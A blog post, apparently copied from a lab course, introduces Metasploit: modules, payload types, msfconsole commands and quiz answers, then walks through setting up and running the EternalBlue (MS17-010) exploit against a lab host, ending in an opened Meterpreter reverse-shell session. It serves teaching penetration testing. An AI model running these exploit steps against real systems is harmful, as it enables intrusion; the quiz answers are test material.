-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • Introduction to Metasploit

     

    Introduction to Metasploit




    Introduction to Metasploit


    Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a penetration testing engagement, from information gathering to post-exploitation.




    Metasploit has two main versions:


    Metasploit Pro: The commercial version that facilitates the automation and management of tasks. This version has a graphical user interface (GUI).

    Metasploit Framework: The open-source version that works from the command line. This room will focus on this version, installed on the AttackBox and most commonly used penetration testing Linux distributions.


    The Metasploit Framework is a set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploit development.





    The main components of the Metasploit Framework can be summarized as follows;


    msfconsole: The main command-line interface.


    Modules: supporting modules such as exploits, scanners, payloads, etc.


    Tools: Stand-alone tools that will help vulnerability research, vulnerability assessment, or penetration testing. Some of these tools are msfvenom, pattern_create and pattern_offset. We will cover msfvenom within this module, but pattern_create and pattern_offset are tools useful in exploit development which is beyond the scope of this module.



    This blog will cover the main components of Metasploit while providing you with a solid foundation on how to find relevant exploits, set parameters, and exploit vulnerable services on the target system. Once you have completed this room, you will be able to navigate and use the Metasploit command line comfortably.



    Main Components of Metasploit


    While using the Metasploit Framework, you will primarily interact with the Metasploit console. You can launch it from the AttackBox terminal using the msfconsole command. The console will be your main interface to interact with the different modules of the Metasploit Framework. Modules are small components within the Metasploit framework that are built to perform a specific task, such as exploiting a vulnerability, scanning a target, or performing a brute-force attack.



    Before diving into modules, it would be helpful to clarify a few recurring concepts: vulnerability, exploit, and payload.


    Exploit:
    A piece of code that uses a vulnerability present on the target system.

    Vulnerability: A design, coding, or logic flaw affecting the target system. The exploitation of a vulnerability can result in disclosing confidential information or allowing the attacker to execute code on the target system.

    Payload: An exploit will take advantage of a vulnerability. However, if we want the exploit to have the result we want (gaining access to the target system, read confidential information, etc.), we need to use a payload. Payloads are the code that will run on the target system.

    Modules and categories under each one are listed below. These are given for reference purposes, but you will interact with them through the Metasploit console (msfconsole).

    Auxiliary: Any supporting module, such as scanners, crawlers and fuzzers, can be found here.





    Encoders: Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.

    Signature-based antivirus and security solutions have a database of known threats. They detect threats by comparing suspicious files to this database and raise an alert if there is a match. Thus encoders can have a limited success rate as antivirus solutions can perform additional checks. 




    Evasion: While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software.

    On the other hand, “evasion” modules will try that, with more or less success. They 





    Exploits: Exploits, neatly organized by target system.





    NOPs: NOPs (No OPeration) do nothing, literally.

    They are represented in the Intel x86 CPU family they are represented with 0x90, following which the CPU will do nothing for one cycle. They are often used as a buffer to achieve consistent payload sizes.




     

    Payloads: Payloads are codes that will run on the target system.

    Exploits will leverage a vulnerability on the target system, but to achieve the desired result, we will need a payload. Examples could be; getting a shell, loading a malware or backdoor to the target system, running a command, or launching calc.exe as a proof of concept to add to the penetration test report. Starting the calculator on the target system remotely by launching the calc.exe application is a benign way to show that we can run commands on the target system.

    Running command on the target system is already an important step but having an interactive connection that allows you to type commands that will be executed on the target system is better. Such an interactive command line is called a "shell". Metasploit offers the ability to send different payloads that can open shells on the target system.





    You will see three different directories under payloads: singles, stagers and stages.

    Singles: Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.
        

    Stagers: Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. “Staged payloads” will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once.
        

    Stages: Downloaded by the stager. This will allow you to use larger sized payloads.

    Metasploit has a subtle way to help you identify single (also called “inline”) payloads and staged payloads.

        generic/shell_reverse_tcp
        windows/x64/shell/reverse_tcp



    Both are reverse Windows shells. The former is an inline (or single) payload, as indicated by the “_” between “shell” and “reverse”. While the latter is a staged payload, as indicated by the “/” between “shell” and “reverse”.


    Post: Post modules will be useful on the final stage of the penetration testing process listed above, post-exploitation.





    If you wish to familiarize yourself further with these modules, you can find them under the modules folder of your Metasploit installation. For the AttackBox these are under /opt/metasploit-framework-5101/modules




    1) What is the name of the code taking advantage of a flaw on the target system?

    Ans:- exploit



    2) What is the name of the code that runs on the target system to achieve the attacker's goal?

    Ans:- payload




    3) What are self-contained payloads called?

    Ans:- singles




    4) Is "windows/x64/pingback_reverse_tcp" among singles or staged payload?

    Ans:- singles




    Msfconsole


    As previously mentioned, the console will be your main interface to the Metasploit Framework. You can launch it using the msfconsole command on your AttackBox terminal or any system the Metasploit Framework is installed on.




    msfconsole


              
    root@ip-10-10-150-191:~# msfconsole
                                                     

                     _---------.
                 .' #######   ;."
      .---,.    ;@             @@`;   .---,..
    ." @@@@@'.,'@@            @@@@@',.'@@@@ ".
    '-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
       `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
         "--'.@@@  -.@        @ ,'-   .'--"
              ".@' ; @       @ `.  ;'
                |@@@@ @@@     @    .
                 ' @@@ @@   @@    ,
                  `.@@@@    @@   .
                    ',@@     @   ;           _____________
                     (   3 C    )     /|___ / Metasploit! \
                     ;@'. __*__,."    \|--- \_____________/
                      '(.,...."/


           =[ metasploit v5.0.101-dev                         ]
    + -- --=[ 2048 exploits - 1105 auxiliary - 344 post       ]
    + -- --=[ 562 payloads - 45 encoders - 10 nops            ]
    + -- --=[ 7 evasion                                       ]

    Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search

    msf6 >


           



    Once launched, you will see the command line changes to msf5 (or msf6 depending on the installed version of Metasploit). The Metasploit console (msfconsole) can be used just like a regular command-line shell, as you can see below. The first command is ls which lists the contents of the folder from which Metasploit was launched using the msfconsole command.

    It is followed by a ping sent to Google's DNS IP address (8.8.8.8). As we operate from the AttackBox, which is Linux we had to add the -c 1 option, so only a single ping was sent. Otherwise, the ping process would continue until it is stopped using CTRL+C.




    Linux Commands in Metasploit


              
              
    msf6 > ls
    [*] exec: ls

    burpsuite_community_linux_v2021_8_1.sh    Instructions  Scripts
    Desktop                    Pictures      thinclient_drives
    Downloads                Postman       Tools
    msf6 > ping -c 1 8.8.8.8
    [*] exec: ping -c 1 8.8.8.8

    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=109 time=1.33 ms

    --- 8.8.8.8 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 1.335/1.335/1.335/0.000 ms
    msf6 >


           


    It will support most Linux commands, including clear (to clear the terminal screen), but will not allow you to use some features of a regular command line (e.g. does not support output redirection), as seen below.
    Failed Output Redirection

              
    msf6 > help > help.txt
    [-] No such command
    msf6 >

          
           


    While on the subject, the help command can be used on its own or for a specific command. Below is the help menu for the set command we will cover soon.
    Help feature

              
    msf6 > help set
    Usage: set [option] [value]




    Set the given option to value.  If value is omitted, print the current value.
    If both are omitted, print options that are currently set.

    If run from a module context, this will set the value in the module's
    datastore.  Use -g to operate on the global datastore.

    If setting a PAYLOAD, this command can take an index from `show payloads'.

    msf6 >

           


    You can use the history command to see commands you have typed earlier.
    History command

              
    msf6 > history
    1  use exploit/multi/http/nostromo_code_exec
    2  set lhost 10.10.16.17
    3  set rport 80
    4  options
    5  set rhosts 10.10.29.187
    6  run
    7  exit
    8  exit -y
    9  version
    10  use exploit/multi/script/web_delivery






    An important feature of msfconsole is the support of tab completion. This will come in handy later when using Metasploit commands or dealing with modules. For example, if you start typing he and press the tab key, you will see it auto-completes to help.


    Msfconsole is managed by context; this means that unless set as a global variable, all parameter settings will be lost if you change the module you have decided to use. In the example below, we have used the ms17_010_eternalblue exploit, and we have set parameters such as RHOSTS. If we were to switch to another module (e.g. a port scanner), we would need to set the RHOSTS value again as all changes we have made remained in the context of the ms17_010_eternalblue exploit.

    Let us look at the example below to have a better understanding of this feature. We will use the MS17-010 “Eternalblue” exploit for illustration purposes.



    Once you type the use exploit/windows/smb/ms17_010_eternalblue command, you will see the command line prompt change from msf6 to “msf6 exploit(windows/smb/ms17_010_eternalblue)”. The "EternalBlue" is an exploit allegedly developed by the U.S. National Security Agency (N.S.A.) for a vulnerability affecting the SMBv1 server on numerous Windows systems. The SMB (Server Message Block) is widely used in Windows networks for file sharing and even for sending files to printers. EternalBlue was leaked by the cybercriminal group "Shadow Brokers" in April 2017. In May 2017, this vulnerability was exploited worldwide in the WannaCry ransomware attack.







    Using an exploit


              
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
    [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
    msf6 exploit(windows/smb/ms17_010_eternalblue) >

           

    The module to be used can also be selected with the use command followed by the number at the beginning of the search result line.

    While the prompt has changed, you will notice we can still run the commands previously mentioned. This means we did not "enter" a folder as you would typically expect in an operating system command line.

     


    Linux commands within a context



              
    msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
    [*] exec: ls

    burpsuite_community_linux_v2021_8_1.sh    Instructions  Scripts
    Desktop                    Pictures      thinclient_drives
    Downloads                Postman       Tools
    msf6 exploit(windows/smb/ms17_010_eternalblue) >

           


    The prompt tells us we now have a context set in which we will work. You can see this by typing the show options command.
    Show options



              
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

    Module options (exploit/windows/smb/ms17_010_eternalblue):

       Name           Current Setting  Required  Description
       ----           ---------------  --------  -----------
       RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT          445              yes       The target port (TCP)
       SMBDomain      .                no        (Optional) The Windows domain to use for authentication
       SMBPass                         no        (Optional) The password for the specified username
       SMBUser                         no        (Optional) The username to authenticate as
       VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
       VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


    Payload options (windows/x64/meterpreter/reverse_tcp):

       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     10.10.220.191    yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port


    Exploit target:

       Id  Name
       --  ----
       0   Windows 7 and Server 2008 R2 (x64) All Service Packs


    msf6 exploit(windows/smb/ms17_010_eternalblue) >

           





    This will print options related to the exploit we have chosen earlier. The show options command will have different outputs depending on the context it is used in. The example above shows that this exploit will require we set variables like RHOSTS and RPORT. On the other hand, a post-exploitation module may only need us to set a SESSION ID (see the screenshot below). A session is an existing connection to the target system that the post-exploitation module will use.
    Options for a post-exploitation module



       
              
    msf6 post(windows/gather/enum_domain_users) > show options

    Module options (post/windows/gather/enum_domain_users):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       HOST                      no        Target a specific host
       SESSION                   yes       The session to run this module on.
       USER                      no        Target User for NetSessionEnum

    msf6 post(windows/gather/enum_domain_users) >

           

           
           


    The show command can be used in any context followed by a module type (auxiliary, payload, exploit, etc.) to list available modules. The example below lists payloads that can be used with the ms17-010 Eternalblue exploit.
    The show payloads command



              
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

    Compatible Payloads
    ===================

       #   Name                                        Disclosure Date  Rank    Check  Description
       -   ----                                        ---------------  ----    -----  -----------
       0   generic/custom                                               manual  No     Custom Payload
       1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline
       2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline
       3   windows/x64/exec                                             manual  No     Windows x64 Execute Command
       4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path
       5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64
       6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
       7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support

           




    If used from the msfconsole prompt, the show command will list all modules.

    The use and show options commands we have seen so far are identical for all modules in Metasploit.

    You can leave the context using the back command.



    The back command

     



              
    msf6 exploit(windows/smb/ms17_010_eternalblue) > back
    msf6 >

           


    Further information on any module can be obtained by typing the info command within its context.
    The info command

              
    msf6 exploit(windows/smb/ms17_010_eternalblue) > info

           Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
         Module: exploit/windows/smb/ms17_010_eternalblue
       Platform: Windows
           Arch:
     Privileged: Yes
        License: Metasploit Framework License (BSD)
           Rank: Average
      Disclosed: 2017-03-14

    Provided by:
      Sean Dillon
      Dylan Davis
      Equation Group
      Shadow Brokers
      thelightcosine

    Available targets:
      Id  Name
      --  ----
      0   Windows 7 and Server 2008 R2 (x64) All Service Packs

    Check supported:
      Yes

    Basic options:
      Name           Current Setting  Required  Description
      ----           ---------------  --------  -----------
      RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
      RPORT          445              yes       The target port (TCP)
      SMBDomain      .                no        (Optional) The Windows domain to use for authentication
      SMBPass                         no        (Optional) The password for the specified username
      SMBUser                         no        (Optional) The username to authenticate as
      VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
      VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

    Payload information:
      Space: 2000

    Description:
      This module is a port of the Equation Group ETERNALBLUE exploit,
      part of the FuzzBunch toolkit released by Shadow Brokers. There is a
      buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is
      calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error
      where a DWORD is subtracted into a WORD. The kernel pool is groomed
      so that overflow is well laid-out to overwrite an SMBv1 buffer.
      Actual RIP hijack is later completed in
      srvnet!SrvNetWskReceiveComplete. This exploit, like the original may
      not trigger 100% of the time, and should be run continuously until
      triggered. It seems like the pool will get hot streaks and need a
      cool down period before the shells rain in again. The module will
      attempt to use Anonymous login, by default, to authenticate to
      perform the exploit. If the user supplies credentials in the
      SMBUser, SMBPass, and SMBDomain options it will use those instead.
      On some systems, this module may cause system instability and
      crashes, such as a BSOD or a reboot. This may be more likely with
      some payloads.

    References:
      https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
      https://cvedetails.com/cve/CVE-2017-0143/
      https://cvedetails.com/cve/CVE-2017-0144/
      https://cvedetails.com/cve/CVE-2017-0145/
      https://cvedetails.com/cve/CVE-2017-0146/
      https://cvedetails.com/cve/CVE-2017-0147/
      https://cvedetails.com/cve/CVE-2017-0148/
      https://github.com/RiskSense-Ops/MS17-010

    Also known as:
      ETERNALBLUE

    msf6 exploit(windows/smb/ms17_010_eternalblue) >


           




    Alternatively, you can use the info command followed by the module’s path from the msfconsole prompt (e.g. info exploit/windows/smb/ms17_010_eternalblue). Info is not a help menu; it will display detailed information on the module such as its author, relevant sources, etc.





    Search



    One of the most useful commands in msfconsole is search. This command will search the Metasploit Framework database for modules relevant to the given search parameter. You can conduct searches using CVE numbers, exploit names (eternalblue, heartbleed, etc.), or target system.

    The search command

              
    msf6 > search ms17-010

    Matching Modules
    ================

       #  Name                                      Disclosure Date  Rank     Check  Description
       -  ----                                      ---------------  ----     -----  -----------
       0  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
       1  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
       2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
       3  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
       4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


    Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb_doublepulsar_rce

    msf6 >

            



    The output of the search command provides an overview of each returned module. You may notice the “name” column already gives more information than just the module name. You can see the type of module (auxiliary, exploit, etc.) and the category of the module (scanner, admin, windows, Unix, etc.). You can use any module returned in a search result with the command use followed by the number at the beginning of the result line. (e.g. use 0 instead of use auxiliary/admin/smb/ms17_010_command)



    Another essential piece of information returned is in the “rank” column. Exploits are rated based on their reliability. The table below provides their respective descriptions.





    Source: https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking


    You can direct the search function using keywords such as type and platform.


    For example, if we wanted our search results to only include auxiliary modules, we could set the type to auxiliary. The screenshot below shows the output of the search type:auxiliary telnet command.




    Search by module type

     


              
    msf6 > search type:auxiliary telnet

    Matching Modules
    ================

       #   Name                                                Disclosure Date  Rank    Check  Description
       -   ----                                                ---------------  ----    -----  -----------
       0   auxiliary/admin/http/dlink_dir_300_600_exec_noauth  2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
       1   auxiliary/admin/http/netgear_r6700_pass_reset       2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
       2   auxiliary/dos/cisco/ios_telnet_rocem                2017-03-17       normal  No     Cisco IOS Telnet Denial of Service
       3   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof        2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
       4   auxiliary/scanner/ssh/juniper_backdoor              2015-12-20       normal  No     Juniper SSH Backdoor Scanner
       5   auxiliary/scanner/telnet/brocade_enable_login                        normal  No     Brocade Enable Login Check Scanner
       6   auxiliary/scanner/telnet/lantronix_telnet_password                   normal  No     Lantronix Telnet Password Recovery
       7   auxiliary/scanner/telnet/lantronix_telnet_version                    normal  No     Lantronix Telnet Service Banner Detection
       8   auxiliary/scanner/telnet/satel_cmd_exec             2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
       9   auxiliary/scanner/telnet/telnet_encrypt_overflow                     normal  No     Telnet Service Encryption Key ID Overflow Detection
       10  auxiliary/scanner/telnet/telnet_login                                normal  No     Telnet Login Check Scanner
       11  auxiliary/scanner/telnet/telnet_ruggedcom                            normal  No     RuggedCom Telnet Password Generator
       12  auxiliary/scanner/telnet/telnet_version                              normal  No     Telnet Service Banner Detection
       13  auxiliary/server/capture/telnet                                      normal  No     Authentication Capture: Telnet


    Interact with a module by name or index, for example use 13 or use auxiliary/server/capture/

    msf6>

    Please remember that exploits take  advantage of a vulnerability on the target system and may always show unexpected behavior. A low ranking exploit may work perfectly, and an excellent ranked exploit may not, or worse, crash the target system.




    1)How would you search for a module related to Apache?

    Ans:-
    search apache




    2) Who provided the auxiliary/scanner/ssh/ssh_login module?

    HINT-
    use the info command
    like- info auxiliary.scanner/ssh/ssh_login

    Ans:- todb







    Working with modules


    You can launch the target machine attached to this room to replicate the examples shown below. Any Metasploit version 5 or 6 will have menus and screens similar to those shown here so you can use the AttackBox or any operating system installed on your local computer.



    Once you have entered the context of a module using the use command followed by the module name, as seen earlier, you will need to set parameters. The most common parameters you will use are listed below. Remember, based on the module you use, additional or different parameters may need to be set. It is good practice to use the show options command to list the required parameters.

    All parameters are set using the same command syntax:

    set PARAMETER_NAME VALUE




    Before we proceed, remember always to check the msfconsole prompt to ensure you are in the right context. When dealing with Metasploit, you may see five different prompts:


    The regular command prompt: You can not use Metasploit commands here.




    Regular command prompt


              
    root@ip-10-10-XX-XX:~#

           


    The msfconsole prompt: msf5 (or msf6 depending on your installed version) is the msfconsole prompt. As you can see, no context is set here, so context-specific commands to set parameters and run modules can not be used here.





    Metasploit command prompt


              
    msf5 >

           


    A context prompt: Once you have decided to use a module and used the set command to chose it, the msfconsole will show the context. You can use context-specific commands (e.g. set RHOSTS 10.10.x.x) here.



    A context command prompt


              
    msf5 exploit(windows/smb/ms17_010_eternalblue) >


           


    The Meterpreter prompt: Meterpreter is an important payload we will see in detail later in this module. This means a Meterpreter agent was loaded to the target system and connected back to you. You can use Meterpreter specific commands here.





    A Meterpreter command prompt


              
    meterpreter >


           


    A shell on the target system: Once the exploit is completed, you may have access to a command shell on the target system. This is a regular command line, and all commands typed here run on the target system.




    A Meterpreter command prompt


              
    C:\Windows\system32>


           

    As mentioned earlier, the show options command will list all available parameters.






    The show options command



              
    msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

    Module options (exploit/windows/smb/ms17_010_eternalblue):

       Name           Current Setting  Required  Description
       ----           ---------------  --------  -----------
       RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT          445              yes       The target port (TCP)
       SMBDomain      .                no        (Optional) The Windows domain to use for authentication
       SMBPass                         no        (Optional) The password for the specified username
       SMBUser                         no        (Optional) The username to authenticate as
       VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
       VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


    Payload options (windows/x64/meterpreter/reverse_tcp):

       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     10.10.44.70      yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port


    Exploit target:

       Id  Name
       --  ----
       0   Windows 7 and Server 2008 R2 (x64) All Service Packs


    msf5 exploit(windows/smb/ms17_010_eternalblue) >

           




    As you can see in the screenshot above, some of these parameters require a value for the exploit to work. Some required parameter values will be pre-populated, make sure you check if these should remain the same for your target. For example, a web exploit could have an RPORT (remote port: the port on the target system Metasploit will try to connect to and run the exploit) value preset to 80, but your target web application could be using port 8080.


    In this example, we will set the RHOSTS parameter to the IP address of our target system using the set command.





    A Meterpreter command prompt


              
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
    rhosts => 10.10.165.39
    msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

    Module options (exploit/windows/smb/ms17_010_eternalblue):

       Name           Current Setting  Required  Description
       ----           ---------------  --------  -----------
       RHOSTS         10.10.165.39     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT          445              yes       The target port (TCP)
       SMBDomain      .                no        (Optional) The Windows domain to use for authentication
       SMBPass                         no        (Optional) The password for the specified username
       SMBUser                         no        (Optional) The username to authenticate as
       VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
       VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


    Payload options (windows/x64/meterpreter/reverse_tcp):

       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     10.10.44.70      yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port


    Exploit target:

       Id  Name
       --  ----
       0   Windows 7 and Server 2008 R2 (x64) All Service Packs


    msf5 exploit(windows/smb/ms17_010_eternalblue) >

           
           


    Once you have set a parameter, you can use the show options command to check the value was set correctly.


    Parameters you will often use are:

    RHOSTS: “Remote host”, the IP address of the target system. A single IP address or a network range can be set. This will support the CIDR (Classless Inter-Domain Routing) notation (/24, /16, etc.) or a network range (10.10.10.x – 10.10.10.y). You can also use a file where targets are listed, one target per line using file:/path/of/the/target_file.txt, as you can see below.


    RPORT: “Remote port”, the port on the target system the vulnerable application is running on.

    PAYLOAD: The payload you will use with the exploit.

    LHOST: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.

    LPORT:
    “Local port”, the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.

    SESSION:
    Each connection established to the target system using Metasploit will have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.


    You can override any set parameter using the set command again with a different value. You can also clear any parameter value using the unset command or clear all set parameters with the unset all command.




    The unset all command

              
    msf5 exploit(windows/smb/ms17_010_eternalblue) > unset all
    Flushing datastore...
    msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

    Module options (exploit/windows/smb/ms17_010_eternalblue):

       Name           Current Setting  Required  Description
       ----           ---------------  --------  -----------
       RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT          445              yes       The target port (TCP)
       SMBDomain      .                no        (Optional) The Windows domain to use for authentication
       SMBPass                         no        (Optional) The password for the specified username
       SMBUser                         no        (Optional) The username to authenticate as
       VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
       VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


    Exploit target:

       Id  Name
       --  ----
       0   Windows 7 and Server 2008 R2 (x64) All Service Packs


    msf5 exploit(windows/smb/ms17_010_eternalblue) >

           
           
           


    You can use the setg command to set values that will be used for all modules. The setg command is used like the set command. The difference is that if you use the set command to set a value using a module and you switch to another module, you will need to set the value again. The setg command allows you to set the value so it can be used by default across different modules. You can clear any value set with setg using unsetg.


    The example below uses the following flow;



    We use the ms17_010_eternalblue exploitable

    We set the RHOSTS variable using the setg command instead of the set command

    We use the back command to leave the exploit context

    We use an auxiliary (this module is a scanner to discover MS17-010 vulnerabilities)

    The show options command shows the RHOSTS parameter is already populated with the IP address of the target system.






    Navigating modules


              
    msf5 > use exploit/windows/smb/ms17_010_eternalblue
    [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
    rhosts => 10.10.165.39
    msf5 exploit(windows/smb/ms17_010_eternalblue) > back
    msf5 > use auxiliary/scanner/smb/smb_ms17_010
    msf5 auxiliary(scanner/smb/smb_ms17_010) > show options

    Module options (auxiliary/scanner/smb/smb_ms17_010):

       Name         Current Setting                                                Required  Description
       ----         ---------------                                                --------  -----------
       CHECK_ARCH   true                                                           no        Check for architecture on vulnerable hosts
       CHECK_DOPU   true                                                           no        Check for DOUBLEPULSAR on vulnerable hosts
       CHECK_PIPE   false                                                          no        Check for named pipe on vulnerable hosts
       NAMED_PIPES  /opt/metasploit-framework-5101/data/wordlists/named_pipes.txt  yes       List of named pipes to check
       RHOSTS       10.10.165.39                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT        445                                                            yes       The SMB service port (TCP)
       SMBDomain    .                                                              no        The Windows domain to use for authentication
       SMBPass                                                                     no        The password for the specified username
       SMBUser                                                                     no        The username to authenticate as
       THREADS      1                                                              yes       The number of concurrent threads (max one per host)

    msf5 auxiliary(scanner/smb/smb_ms17_010) >

           



    The setg command sets a global value that will be used until you exit Metasploit or clear it using the unsetg command.




    Using modules



    Once all module parameters are set, you can launch the module using the exploit command. Metasploit also supports the run command, which is an alias created for the exploit command as the word exploit did not make sense when using modules that were not exploits (port scanners, vulnerability scanners, etc.).


    The exploit command can be used without any parameters or using the “-z” parameter.

    The exploit -z command will run the exploit and background the session as soon as it opens.




    The exploit -z command


              
    msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

    [*] Started reverse TCP handler on 10.10.44.70:4444
    [*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
    [+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
    [*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
    [*] 10.10.12.229:445 - Connecting to target for exploitation.
    [+] 10.10.12.229:445 - Connection established for exploitation.
    [+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
    [*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
    [*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
    [*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
    [*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1     
    [+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
    [*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
    [*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
    [*] 10.10.12.229:445 - Starting non-paged pool grooming
    [+] 10.10.12.229:445 - Sending SMBv2 buffers
    [+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
    [*] 10.10.12.229:445 - Sending final SMBv2 buffers.
    [*] 10.10.12.229:445 - Sending last fragment of exploit packet!
    [*] 10.10.12.229:445 - Receiving response from exploit packet
    [+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
    [*] 10.10.12.229:445 - Sending egg to corrupted connection.
    [*] 10.10.12.229:445 - Triggering free of corrupted buffer.
    [*] Sending stage (201283 bytes) to 10.10.12.229
    [*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
